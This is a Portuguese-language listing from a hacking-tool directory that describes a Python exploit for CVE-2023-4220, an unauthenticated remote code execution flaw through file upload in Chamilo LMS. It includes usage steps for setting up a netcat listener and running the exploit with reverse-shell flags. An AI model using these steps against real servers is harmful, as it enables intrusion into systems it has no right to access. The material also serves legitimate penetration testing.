Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2023-4220-RCE — Exploit em Python para CVE-2023-4220, uma execução remota de código não autenticada no Chamilo LMS por meio de upload de arquivos sem restrições, permitindo a implantação de web shell e reverse shell. | Kitploit
Ferramentas/GitHubGitHub/bueno-armando/cve-2023-4220-rce
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoFerramenta de Acesso Remoto
GitHubbueno-armando/cve-2023-4220-rce

CVE-2023-4220-RCE

Exploit em Python para CVE-2023-4220, uma execução remota de código não autenticada no Chamilo LMS por meio de upload de arquivos sem restrições, permitindo a implantação de web shell e reverse shell.

Ver Repositório
12há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2023-4220-RCE

Resumo

Aviso da Starlabs

  • Produto afetado: Chamilo <= v1.11.24
  • Descrição: Upload irrestrito de arquivos na funcionalidade de upload de arquivos grandes em /main/inc/lib/javascript/bigupload/inc/bigUpload.php no Chamilo LMS <= v1.11.24 permite que atacantes não autenticados realizem ataques de cross-site scripting armazenado e obtenham execução remota de código através do upload de web shell.
  • Pontuação CVSS: 8,1 (Alta)

Uso

  1. Configure um listener netcat (se desejar um shell reverso)
sudo nc -lnvp 443
  1. Execute o exploit
python3 exploit.py -u --url <HOST REMOTO>, -p --port [PORTA REMOTA] -c --comand <COMANDO>
  • Flags para shell reverso
    • -lh/--localhost: IP do atacante
    • **-lp/--localtcat porta do listener
Baixar ferramenta